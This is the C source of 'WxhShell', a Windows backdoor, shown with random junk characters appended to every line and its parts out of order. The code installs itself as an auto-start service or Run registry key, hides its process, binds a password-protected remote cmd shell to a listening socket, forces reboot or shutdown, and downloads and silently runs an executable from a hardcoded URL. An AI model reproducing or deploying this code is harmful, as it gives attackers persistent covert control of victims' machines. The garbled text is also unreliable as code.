    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zq r%7U  
    else { D ;$+]2  
    closesocket(wsh); bGc|SF<V  
    ExitThread(0); 3>)BI(Wl  
    } Lu.tRZ`$38  
    break; '<S:|$ $  
    } >[4|6k|\x  
  // 获取shell .WyX/E$I^!  
  case 's': { fcXk]W  
    CmdShell(wsh); .oN Sg.jG  
    closesocket(wsh); bCUh^#]x  
    ExitThread(0); "0zXpQi,B  
    break; %MZDm&f>Kk  
  } G;c0  
  // 退出 6RQCKN)  
  case 'x': { k+GnF00N^8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bI6wE'h  
    CloseIt(wsh); <SdJM1%Qo  
    break; .eB"la|d  
    } {eN{Zh5"  
  // 离开 FKnQwX.0  
  case 'q': { VQjFEJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L$c%u  
    closesocket(wsh); )Q/`o,Vm  
    WSACleanup(); R${4Q1  
    exit(1); *N e2l`!1m  
    break; }SN44 di(  
        } =M{CZm  
  } ?V:]u 3  
  } `+Z#*lj|@  
bK$D lBZ  
  // 提示信息 `yXx[deY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mW0&uSM D  
} ieRBD6_  
  } ;}jbdS3  
tSc>@Q_|  
  return; r9a!,^}F  
} &t|V:_?/x  
!XA%[u  
// shell模块句柄 !2U7gVt"*  
int CmdShell(SOCKET sock) Mth`s{sATa  
{ @j2*.ee  
STARTUPINFO si; HT=Am  
ZeroMemory(&si,sizeof(si)); mYOdBd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )LrCoI =|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( WtE`f;Q  
PROCESS_INFORMATION ProcessInfo; _6S b.9m  
char cmdline[]="cmd"; >c\v&k>6.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .O%1)p  
  return 0; CSqb)\8Oi*  
} q '{<c3&  
/0&:Yp=>  
// 自身启动模式  )P9{47  
int StartFromService(void) 2G}7R5``9  
{ LO}:Ub  
typedef struct w$[Ds  
{ Q1I_=fT  
  DWORD ExitStatus; uC*:#[  
  DWORD PebBaseAddress; ^r$iN %&~  
  DWORD AffinityMask; ""v`0OP&J  
  DWORD BasePriority; :;*#Qh3"  
  ULONG UniqueProcessId; !0csNg!  
  ULONG InheritedFromUniqueProcessId; #[0\=B -  
}   PROCESS_BASIC_INFORMATION; 6|>\&Y!Q  
pg}+lYGP  
PROCNTQSIP NtQueryInformationProcess; :n>ccZeMv  
CNRU"I+jU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /mB Beg^a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <,4R2'  
:_QAjU  
  HANDLE             hProcess; qzlMn)e  
  PROCESS_BASIC_INFORMATION pbi; yK%GsCJd:  
_`X#c-J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bu"68A;>  
  if(NULL == hInst ) return 0; NzeI/f3K5  
)Rhff$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y9@dZw%2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B`?N0t%X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,7fc41O3V  
S-LZ(o{ZL  
  if (!NtQueryInformationProcess) return 0; BvZ^^IUb  
ZP6 3Alt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $uFh$f  
  if(!hProcess) return 0; .KU SNrs'  
B/sBYVU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mj(&`HRs4  
MCi`TXr  
  CloseHandle(hProcess); ^L8Wn6s'  
|:(23O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oa}V>a  
if(hProcess==NULL) return 0; aZawBU.:  
C'8!cPFVv  
HMODULE hMod; `z?KL(rI  
char procName[255]; 0Y6q$h>4  
unsigned long cbNeeded; jr[<i\!  
Q9yGQu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hSkc9jBF  
[j=,g-EOA  
  CloseHandle(hProcess); `dgM|.w5=  
!O F?xW  
if(strstr(procName,"services")) return 1; // 以服务启动 V{T{0b" \U  
h"PS-]:CD  
  return 0; // 注册表启动 S7UZGGjTk  
} ib(>vp$V  
SvX=isu!.  
// 主模块 C?[a3rNH(  
int StartWxhshell(LPSTR lpCmdLine) B|Fl ,55  
{ uO ?Od  
  SOCKET wsl; ]<8B-D?Z  
BOOL val=TRUE; 8NaL{j1`  
  int port=0; @ kJ0K  
  struct sockaddr_in door; w*<Y$hnBzF  
[:nx);\  
  if(wscfg.ws_autoins) Install(); eC>"my`  
+ %MO7vL  
port=atoi(lpCmdLine); pwFU2}I  
${eY9-r_%  
if(port<=0) port=wscfg.ws_port; 6Iv(  
|RR%bQ^{  
  WSADATA data; Cdp]Nv6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $N}/1R^?r  
.1.J5>/n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $=PWT-GIR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~!nLbK2  
  door.sin_family = AF_INET; ET,Q3X\Oe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -,~;qSs  
  door.sin_port = htons(port); 5q|+p?C  
yaH Trh%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x],8yR)R  
closesocket(wsl); ~lzdbX  
return 1; 24T@N~\g  
} <91t`&aWW  
le7 `uz!%  
  if(listen(wsl,2) == INVALID_SOCKET) { \8;Qv  
closesocket(wsl); lpl8h4d  
return 1; xT9Yes&  
} Yv)Bj  
  Wxhshell(wsl); )n\*ht7  
  WSACleanup(); -"W)|oC_  
s1X]RXX&j  
return 0; (Ij0AeJ#  
%ZujCZn  
} \\=.6cg<K  
}qc#lz  
// 以NT服务方式启动 #v.L$7O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G/v|!}?wG  
{ 9*#$0Y=  
DWORD   status = 0; wA?@v|,dZ  
  DWORD   specificError = 0xfffffff; o_iEkn  
y^2#9\}K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yZq?B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `vudS?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; as>:\hjP##  
  serviceStatus.dwWin32ExitCode     = 0; 9160L qY  
  serviceStatus.dwServiceSpecificExitCode = 0; K!GUv{fp  
  serviceStatus.dwCheckPoint       = 0; EPc!p>  
  serviceStatus.dwWaitHint       = 0; ]Z _$'?f  
Osnyd+dJY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f%c06Un=  
  if (hServiceStatusHandle==0) return; f2NA=%\  
9oEpPL5  
status = GetLastError(); &]w#z=5SXi  
  if (status!=NO_ERROR) DlDB=N0@S  
{ V|TA:&:7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PNf&@  
    serviceStatus.dwCheckPoint       = 0; Y+FP   
    serviceStatus.dwWaitHint       = 0; qYx!jA]O  
    serviceStatus.dwWin32ExitCode     = status; B$ui:R/ t  
    serviceStatus.dwServiceSpecificExitCode = specificError; pjACFVMFX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zt?h^zf}  
    return; 0A.PD rM:  
  } _ j~4+H  
J==}QEhQ{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?FN9rhAC  
  serviceStatus.dwCheckPoint       = 0; j~epbl)pC  
  serviceStatus.dwWaitHint       = 0; B22b&0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [a@ B =E  
} ' PELf P8  
>)LAjwhBp  
// 处理NT服务事件,比如:启动、停止 u*hH }  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >rKhlUD  
{ zhX;6= X2  
switch(fdwControl) 7{-@}j`  
{ X<Z(]`i  
case SERVICE_CONTROL_STOP: _ \l HI  
  serviceStatus.dwWin32ExitCode = 0; K5{{:NR$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GA\2i0ow  
  serviceStatus.dwCheckPoint   = 0; Rb#/qkk/  
  serviceStatus.dwWaitHint     = 0; pw=F' Y@N  
  { ha5e(Hj?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F99A;M8(  
  } p'}lN|"{O  
  return; *<r%aeG$em  
case SERVICE_CONTROL_PAUSE: YZ< NP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zrrz<dW  
  break; ,ijW(95{k  
case SERVICE_CONTROL_CONTINUE: };rm3;~ eg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wlrIgn%  
  break; x9%-plP  
case SERVICE_CONTROL_INTERROGATE: bE d?^h  
  break; EL7T'zJ$  
}; +`| mJa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =UNT.]  
} Aq"PG}Ic  
E67XPvo1+@  
// 标准应用程序主函数 ,E?4f @|X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .b,~f  
{ &hI>L  
j;iL&eo>  
// 获取操作系统版本 4 \ F P  
OsIsNt=GetOsVer(); < eQ[kM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ M*gsW$  
x%6hM |U  
  // 从命令行安装 =/Wu'gG)  
  if(strpbrk(lpCmdLine,"iI")) Install(); #h N.=~  
(@q3^)I4  
  // 下载执行文件 )~}PgbZ^  
if(wscfg.ws_downexe) { OR;&TbWF(R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pds*2p)2  
  WinExec(wscfg.ws_filenam,SW_HIDE); /cfHYvnz  
} A$@o'Q;he  
m gVML&^  
if(!OsIsNt) { o?wt$j-  
// 如果时win9x,隐藏进程并且设置为注册表启动 R hio7C  
HideProc(); t77'fm  
StartWxhshell(lpCmdLine); &XQZs`41+  
} ltSh'w0  
else S?4KC^Y5  
  if(StartFromService()) x: ~d@  
  // 以服务方式启动 oy5+ }`  
  StartServiceCtrlDispatcher(DispatchTable); L/x(RCD  
else Cs4hgb|  
  // 普通方式启动 h0Jl_f#Y  
  StartWxhshell(lpCmdLine); }9CrFTbx;  
([KN*OF  
return 0; XG&K32_fs  
} X NE+(Bt  
} 0;Sk(B>  
Z`s!dV]e9  
)6{P8k4Zr  
=========================================== "w&/m}E,[  
O]{*(J/t  
_|<BF  
$<OhGk-  
=}R~0|^  
W:O0}   
" /^2CGcT(  
.zS D`v@[  
#include <stdio.h> nxQ}&n  
#include <string.h> T3z(k la  
#include <windows.h> ET-Vm >]  
#include <winsock2.h> _- %d9@x  
#include <winsvc.h> M|r8KW~S)  
#include <urlmon.h> sRq U]i8l  
Pp*}R2  
#pragma comment (lib, "Ws2_32.lib") ~@P)tl>  
#pragma comment (lib, "urlmon.lib") I4il R$jg  
YPszk5hn  
#define MAX_USER   100 // 最大客户端连接数 ezZph"&  
#define BUF_SOCK   200 // sock buffer 0S.?E.-&0  
#define KEY_BUFF   255 // 输入 buffer "={L+di:M  
v!trsjb  
#define REBOOT     0   // 重启 `?uPn~,e8  
#define SHUTDOWN   1   // 关机 #ElejQ|?  
u D(t`W"  
#define DEF_PORT   5000 // 监听端口 VAKy^nR5j  
xl2g0?  
#define REG_LEN     16   // 注册表键长度 1;Xgc@  
#define SVC_LEN     80   // NT服务名长度 m r4b  
"'A"U  
// 从dll定义API |sc Uo~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ({M?Q>s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % {Q-8w!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RrWNJ&o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vg(K$o{BT  
JJ5C}`(  
// wxhshell配置信息 frqJN  
struct WSCFG { z*LiweR-  
  int ws_port;         // 监听端口 hZN<Yd8:  
  char ws_passstr[REG_LEN]; // 口令 ~G `J r  
  int ws_autoins;       // 安装标记, 1=yes 0=no &Rp"rMeW  
  char ws_regname[REG_LEN]; // 注册表键名 e<5Y94YE  
  char ws_svcname[REG_LEN]; // 服务名 U9#WN.noG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bx>i6 R2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a)9rs\Is{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z+3 9ee  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r7I B{}>-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m:{tgcE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &71e5<(dG  
(F8AL6  
}; {oWsh)[x2  
c_1/W{  
// default Wxhshell configuration mP-2s;q  
struct WSCFG wscfg={DEF_PORT, Y {c5  
    "xuhuanlingzhe", <xn;bp[  
    1, &1GUi{I  
    "Wxhshell", |(ocDmd  
    "Wxhshell", Z;b+>2oL  
            "WxhShell Service", Qb`C)Nh:  
    "Wrsky Windows CmdShell Service", -3hCiKq  
    "Please Input Your Password: ", Q)^g3J  
  1,  .mPg0  
  "http://www.wrsky.com/wxhshell.exe", rkYjq4Z@  
  "Wxhshell.exe" =Od>;|]m  
    }; f0oek{  
Kx6y" {me|  
// 消息定义模块 R8<eN9bJ9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QIV%6q+*R  
char *msg_ws_prompt="\n\r? for help\n\r#>";  r(`nt-o@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dWR1cvB(wY  
char *msg_ws_ext="\n\rExit."; _/ Os^>R  
char *msg_ws_end="\n\rQuit."; >. LKct*5K  
char *msg_ws_boot="\n\rReboot..."; l`gTU?<xd  
char *msg_ws_poff="\n\rShutdown..."; ]}LGbv"`A  
char *msg_ws_down="\n\rSave to "; CBHc A'L  
2P5_zND  
char *msg_ws_err="\n\rErr!"; _e'Y3:  
char *msg_ws_ok="\n\rOK!"; {4rQ7J4Ux  
4P kfUMX  
char ExeFile[MAX_PATH]; qtzRCA!9(Z  
int nUser = 0; {L0;{  
HANDLE handles[MAX_USER]; ^?"^Pmw  
int OsIsNt; ;V.vfar  
r4;Bu<PQN1  
SERVICE_STATUS       serviceStatus; !T'X 'Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nq;#_Rkr  
X~RH^VYv  
// 函数声明 wUp)JI  
int Install(void); P*G+eqX  
int Uninstall(void); zWIeHIt  
int DownloadFile(char *sURL, SOCKET wsh); RP` `mI  
int Boot(int flag); ?_ RYqolz  
void HideProc(void); ek)Xrp:2  
int GetOsVer(void); rsF:4G"%  
int Wxhshell(SOCKET wsl); JBcY!dy-d  
void TalkWithClient(void *cs); \6 sQJq  
int CmdShell(SOCKET sock); slvq9,  
int StartFromService(void); e.;M.8N#SQ  
int StartWxhshell(LPSTR lpCmdLine); )U(u>SV(\  
^7u#30,}3~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (5`T+pAsV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UK3a{O[ 5  
`WlE| G[  
// 数据结构和表定义 /f3m)pT  
SERVICE_TABLE_ENTRY DispatchTable[] = #`/QOTnm2c  
{ @{}rG8  
{wscfg.ws_svcname, NTServiceMain}, 3jPB#%F  
{NULL, NULL} >oqZ !V5[  
}; |}S1o0v{(a  
t26ij`V  
// 自我安装 ;f%|3-q1[  
int Install(void) DQgH_!  
{ h<3p8eB  
  char svExeFile[MAX_PATH]; P s#>y&  
  HKEY key; kO ![X^V  
  strcpy(svExeFile,ExeFile); Y60"M4j  
. U/k<v<)6  
// 如果是win9x系统,修改注册表设为自启动 G5c7:iGm/c  
if(!OsIsNt) { ~_PYNY`"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QIAR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x9V {R9_gf  
  RegCloseKey(key); 5py R ~+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KQ)T(mIqp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lbkL yp2  
  RegCloseKey(key); #T% zfcUj  
  return 0; _413\`%8?  
    } xzk}[3P{  
  } w0Ij'=:  
} Y @}FL;3  
else { D4Sh9:\  
s~$zWx@v  
// 如果是NT以上系统,安装为系统服务 #IX&9 aFB}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wkikD  
if (schSCManager!=0) nW5K[/1D  
{ B8~= RmWLl  
  SC_HANDLE schService = CreateService `&g:d E(j  
  ( yJ/#"z=h?  
  schSCManager, #s+Q{2s  
  wscfg.ws_svcname, |I1+"Mp  
  wscfg.ws_svcdisp, 6tdI6  
  SERVICE_ALL_ACCESS, $Jf9;.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r/AHJU3&eY  
  SERVICE_AUTO_START, GZ3/S|SMP  
  SERVICE_ERROR_NORMAL, CW0UMPE5  
  svExeFile, :s*>W$Wp4  
  NULL, _4R,Ej}  
  NULL, {L9yhYw  
  NULL, ZvH{wt   
  NULL, OoaY  
  NULL v~5<:0dL  
  ); `P.CNYR<J  
  if (schService!=0) K^H>~`C=  
  { D#v?gPo4  
  CloseServiceHandle(schService); oVkr3K Z  
  CloseServiceHandle(schSCManager); p>p'.#M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4VFc|g  
  strcat(svExeFile,wscfg.ws_svcname); OCW+?B;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qp!J:YV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o}~3JBn T  
  RegCloseKey(key); yWHne~!  
  return 0; sXB+s  
    } V2Y$yV8g1  
  } mo9$NGM&}  
  CloseServiceHandle(schSCManager); m2b`/JW  
} u(hC^T1  
} 0QoLS|voA/  
T %/  
return 1; AZ wa4n}"  
} ZQ[~*)  
E@pFTvo  
// 自我卸载 F= i!d,S  
int Uninstall(void) NI\H \#bJ  
{ xF8 :^'  
  HKEY key; /=ylQn3 *  
(C`@a/q  
if(!OsIsNt) { q\H7& w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1+^n!$  
  RegDeleteValue(key,wscfg.ws_regname); $L&BT 0  
  RegCloseKey(key); AbZ:(+@cP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XV5`QmB9  
  RegDeleteValue(key,wscfg.ws_regname); U;gp)=JNT  
  RegCloseKey(key); U**)H_S/~  
  return 0; Nza; O[  
  } J3&Sj{ o  
} JS7dsO0;  
} (C\r&N  
else { ifrq  
<E}N=J'uJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )ddsyFGW  
if (schSCManager!=0) P6we(I`"2  
{ + *a7GttU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \7 Mq $d  
  if (schService!=0) ~:Ixmqi}R  
  { q^6N+^}QN  
  if(DeleteService(schService)!=0) { Wp4K6x  
  CloseServiceHandle(schService); & rQD`E/  
  CloseServiceHandle(schSCManager); |EeBSRAfe  
  return 0; o7 arxo\  
  } @dV9Dpu  
  CloseServiceHandle(schService); sVoR?peQ  
  } : ;TYL[  
  CloseServiceHandle(schSCManager); ]xrD<  
} " $=qGHA~  
} SG`)PW?  
#eLN1q&Z  
return 1; O PiaG!3<  
} M.[wKGX(  
J@<!q  
// 从指定url下载文件 w, 7Cr  
int DownloadFile(char *sURL, SOCKET wsh) n?Zf/T  
{ C8MWIX}  
  HRESULT hr; M5u_2;3  
char seps[]= "/"; [R\=M'  
char *token; ?cxr%`E  
char *file; 7@~QkTH~y  
char myURL[MAX_PATH]; Y^3)!>  
char myFILE[MAX_PATH]; LP?P=c  
_H2tZ%RM  
strcpy(myURL,sURL); Hf_'32e3<  
  token=strtok(myURL,seps); * gHCy4u{  
  while(token!=NULL) nNs .,J)  
  { [` 9^QEj  
    file=token; *;X-\6  
  token=strtok(NULL,seps); `sxN!Jj?  
  } p z @km  
xFX&9^Uk  
GetCurrentDirectory(MAX_PATH,myFILE); ['t8C  
strcat(myFILE, "\\"); 6KB^w0oA  
strcat(myFILE, file); [Q:f-<nH  
  send(wsh,myFILE,strlen(myFILE),0); Um'Ro4  
send(wsh,"...",3,0); q_pmwJ:UL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0Jg+sUs{  
  if(hr==S_OK) SS0_P jKz  
return 0; U/5$%0)  
else K=o:V&  
return 1; AZBC P  
.5z&CJDiIi  
} i*z0Jf["  
8~qlLa>jc  
// 系统电源模块 ^k;mn-0  
int Boot(int flag) 1b+h>.gWar  
{ _'lmCj8L  
  HANDLE hToken; UEN56@eCNf  
  TOKEN_PRIVILEGES tkp; RxMoD.kx  
$^IjFdD  
  if(OsIsNt) { KcnjF^k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 94YA2_f;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 369Zu4|u  
    tkp.PrivilegeCount = 1; FH[#yq.Pr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + "zYn!0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S[sr 'ZW  
if(flag==REBOOT) { {s9<ej~<R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \H[Yyp4  
  return 0; [x|)}P7%s  
} ~.H~XK w  
else { *F..ZS'$[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Onyh1  
  return 0; n5\}KZh  
} <dS5|||  
  } > '.[G:b  
  else { qZP:@r"  
if(flag==REBOOT) { _1\poAy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 01o [!nT  
  return 0; %VS 2M #f  
} c l9$g7  
else { SlT7L||Ww  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;tXY =  
  return 0; hWm0$v 1p  
} $i -zMa  
} EFD?di)s  
b( 1 :w"wD  
return 1; d96fjj~  
} S,VyUe4P4  
YLE/w@*  
// win9x进程隐藏模块 IOS^|2:,  
void HideProc(void) G-ZhGbAI7  
{ e]Puv)S>{8  
x?gQ\ 0S<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K,]woNxaw  
  if ( hKernel != NULL ) r\B"?oqC  
  { y%FYXwR{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gz#+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =~ '^;D  
    FreeLibrary(hKernel); zNwc((  
  } !9PX\Xbn  
*iYMX[$  
return; vU7&'ca  
} EFeAr@nj  
T"IW Jpc  
// 获取操作系统版本 88#N~j~P  
int GetOsVer(void) zv,\@Z9.($  
{ i:{:xKiCa  
  OSVERSIONINFO winfo; PQi }Evxa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fmBkB8  
  GetVersionEx(&winfo); >r~|1kQ.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y=wdR|b  
  return 1; $.;iu2iyo  
  else K(' 9l& A  
  return 0; k 5t{  
} 'Z y{mq\  
~RAzFLt6x  
// 客户端句柄模块 $Q=$?>4U  
int Wxhshell(SOCKET wsl) pRb<wt7v  
{ }&C dsCM>2  
  SOCKET wsh; ? S8$5gA  
  struct sockaddr_in client; v,8Si'"i+  
  DWORD myID; fG3wc l~  
PMQb\%iE"  
  while(nUser<MAX_USER) G%Y*q(VrEu  
{ $G)&J2zL  
  int nSize=sizeof(client); .a5X*M]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s* @QT8%  
  if(wsh==INVALID_SOCKET) return 1; ?,!uA)({n  
4_WH 6Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v [dAywW  
if(handles[nUser]==0) $vz_%Y  
  closesocket(wsh); OW?uZ<z  
else >=bt   
  nUser++; X,&`WPA:S  
  } 0,bt^a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V, E9Uds  
*Gf&q  
  return 0; Sio1Q0  
} ykJ+%gla  
 z I(xSX@  
// 关闭 socket 5[1@`6j   
void CloseIt(SOCKET wsh) .iN-4"_j1  
{ vs* >onCf  
closesocket(wsh); *13g <#$  
nUser--; u4@, *tT  
ExitThread(0); .[#xQ=9`  
} K6ciqwUO  
YcPKM@xo  
// 客户端请求句柄 \m@] G3=]  
void TalkWithClient(void *cs) Tq.MubaO  
{ $ V3n~.=  
)gL&   
  SOCKET wsh=(SOCKET)cs; xAeZ7.Q&  
  char pwd[SVC_LEN]; xP XoJN  
  char cmd[KEY_BUFF]; H^ESA s6  
char chr[1]; ',:3>{9  
int i,j; Y!bpOa&  
3/SfUfWo  
  while (nUser < MAX_USER) { KsZ@kTs  
C3]\$  
if(wscfg.ws_passstr) { }klE0<W|5\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N`J:^,H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L00Sp#$\  
  //ZeroMemory(pwd,KEY_BUFF); 2*N&q|ED  
      i=0; P)a("XnJ`  
  while(i<SVC_LEN) {  <WO&$&  
?a*fy}A|  
  // 设置超时 zw}@nqp   
  fd_set FdRead; cb\jrbj6  
  struct timeval TimeOut; F">Nrj-bs  
  FD_ZERO(&FdRead); 0~Um^q*'3  
  FD_SET(wsh,&FdRead); +oE7~64LL  
  TimeOut.tv_sec=8; -bv>iIC  
  TimeOut.tv_usec=0; &19l k   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LZgwIMd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y>DfM5>  
l~`txe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K(%dcUGDK>  
  pwd=chr[0]; 5cPSv?x^F@  
  if(chr[0]==0xd || chr[0]==0xa) { 0f_66`  
  pwd=0; NEjPU#@c  
  break; :(5]Z^  
  } Gw{Gt]liq  
  i++; F<6KaZ|  
    } #|)JD@;Q  
t-3v1cv"  
  // 如果是非法用户,关闭 socket yg]suU<z]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 53g8T+`\(  
} >xhd[  
)pkhir06t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oG|?F4l*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ykErt%k<n  
O|A~dj `  
while(1) { @9 n #vs  
0IoXDx  
  ZeroMemory(cmd,KEY_BUFF); `I]1l MJ)o  
w`H.ey  
      // 自动支持客户端 telnet标准   [Q2S3szbt6  
  j=0; 7j9D;_(.^$  
  while(j<KEY_BUFF) { o=mq$Z:}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hNu>s  
  cmd[j]=chr[0]; T4%i`<i  
  if(chr[0]==0xa || chr[0]==0xd) { WZ-4^WM=!  
  cmd[j]=0; DDqC}l_  
  break; qat45O4A1  
  } tJ(c<:zD  
  j++; wgSR*d>y*9  
    } g=8|z#S  
gb!@OZ c  
  // 下载文件 f;@ b a[  
  if(strstr(cmd,"http://")) { u|_I Twk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rCnV5Yb0O  
  if(DownloadFile(cmd,wsh)) d/ 'A\"o+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D=5t=4^H(  
  else 3&drof\{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rf1wS*uU+  
  } DK#65H'  
  else { w@ gl  
`? 9] '  
    switch(cmd[0]) { f)u*Q!BDD  
  %x cM_|AyR  
